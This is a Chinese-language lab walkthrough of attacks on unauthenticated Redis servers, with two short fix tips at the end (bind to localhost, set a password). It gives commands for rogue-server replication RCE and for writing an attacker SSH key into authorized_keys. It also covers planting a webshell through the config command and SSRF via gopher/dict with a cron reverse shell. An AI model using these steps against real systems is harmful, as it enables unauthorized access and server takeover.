Redis
是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。
Redis 复现文章较全
Redis+ssrf 漏洞利用探测内网
RedisInsight/RedisDesktopManager 可视化连接工具
# 漏洞原理
1 | (1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网; |
Redis
默认情况下,会绑定在0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip
访问等,这样将会将Redis
服务暴露到公网上,
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问Redis
的情况下,利用Redis
自身的提供的config
命令,可以进行写文件操作,并且写公匙登录
测绘查找
1 | port="6379"&server="redis" |
# Docker 开启环境
1 | docker-compose up -d |
kali
扫描主机同样存在
# Redis (<=5.0.5) RCE 工具梭哈
RedisRCE 工具
攻击机下载 RCE
工具 redis-rogue-server
工具。使用该工具将在终端伪造一个 redis
服务并尝试与目标连接实现未授权访问
1 | git clone https://github.com/n0b0dyCN/redis-rogue-server // kali直接下载 |
# Redis 4.x/5.x 主从复制 RCE
工具地址
主从复制是指将一台 Redis 主服务器的数据,复制到其他的 Redis 从服务器。前者称为主节点 (master),后者称为从节点
漏洞原理是目标靶机存在 ssrf
漏洞探测到了 Redis
未授权,我们可以自己搭建一个 redis
服务器作为目标靶机的主服务器,也就是说我们在 redis
服务器恶意构造. so
文件,通过主从复制的模式到该目标靶机实现 RCE
通过工具远程连接执行,原本是通过 git
在 kali 克隆但是克隆不了,所以从物理机手动下载移到 Kali
并且进入 redis-rogue-getshell-master/RedisModulesSDK/exp
路径使用 make
命令下载模块,下载完成后 cd
回到根目录 redis-rogue-getshell-master
1 | python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami" |
# 未授权生成 ssh
[1] 公私钥免密登录
登陆 linux
有几种方式,最常用的是密码登陆和 RSA key
登陆, RSA key
登陆是生成一个公私对应的秘钥;未授权成功后将自己的 ssh
公钥写入目标服务器的 /root/.ssh
文件的 authotrized_keys
文件中,进而可以使用保留在攻击机对应私钥使用 ssh
服务器登录目标服务器
为什么
redis
可以获取服务器的root
权限呢?RSA key
的登陆方式在服务器方面是要将公钥写入目标authorized_keys
文件中的,而redis
有一种持久化方式是生成RDB
文件,通过持久化将公钥写入root
下的authored_keys
文件里,这样就将非法的公钥写到了验证文件里[2],后面我们拿对应私钥登陆即可(但是这种方式需要再
redis
是root
启动的情况下使用,因为非root
权限无法进入/root
目录)
攻击机中生成 ssh
公钥和私钥文件,密码为空一直回车就行 id_rsa
为私钥, id_rsa.pub
为公钥
进入 ssh
目录将生成的公钥保存到 1.txt
并且使用远程连接攻击连接靶机把 1.txt
写入 redis
中
1 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt // 攻击机保存文件 |
下面操作就是更改目标服务器 Redis
备份路径为 ssh 公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出
此时在攻击机上使用 SSH
免密登录靶机,利用私钥成功登入 redis
服务器
# Redis-cli 工具连接写 shell
攻击机下载工具
1 | wget http://download.redis.io/redis-stable.tar.gz |
远程连接 Redis
服务器免密登录命令
1 | 无密码登录命令 |
# 写入 shell
文件
靶场没有开启 web
端口无法直接上传木马文件,用写入 shell
文件的方式添加后门攻击者在未授权访问 Redis
的情况下,利用服务自身提供的 config
命令,可以进行写文件所以可以写入 shell
, 在上文远程连接基础上写入文件,选择 /tmp
目录通常对所有用户都是可读写的
1 | config set dir /tmp // 选择目录为tmp |
写入文件后可以通过容器 ID
查看文件
Docker
查看写入 Shell
成功,使用 IP
结合路径就可以 连接蚁剑了
# Redis+SSRF
国光 SSRF 靶场探测内网
SSRF 中 Redis 的利用掌控社区
飘渺红尘对于 SSRC 协议攻击 Redis 分析
goher 协议写 RCE 脚本项目
伪协议
利用 SSRF
伪协议 file
读取机器文件获得内网 IP
再次利用伪协议 DICT
配合内网 IP
探测内网端口开放情况,如果存在 6379
开放且是未授权连接则可以按上面的打方打,前提是 SSRF
扫描到了内网的 Redis
服务,然后 SSRF配合
伪协议在 Redis
里面写东西,利用上面的工具,通常都是 gopher
协议构造数据包,SSRF 打 Redis
关键就是用 ** gopher
[3]/**** dict
** 协议 两个都可以写一句话, dict
可以写计划任务
config
写一句话shell
在tmp
或者其他有写入权限目录;知晓网站绝对路径通过蚁剑连接,- 攻击机生成公私钥复制上传,造成免密登录对方机器
crontao
写入计划任务反弹shell
# 修复建议
- 修改
redis.conf
配置文件设置bind 127.0.0.1
,这将限制Redis
仅接受来自本地主机的连接 - 设置强密码连接
Redis
需要进行身份验证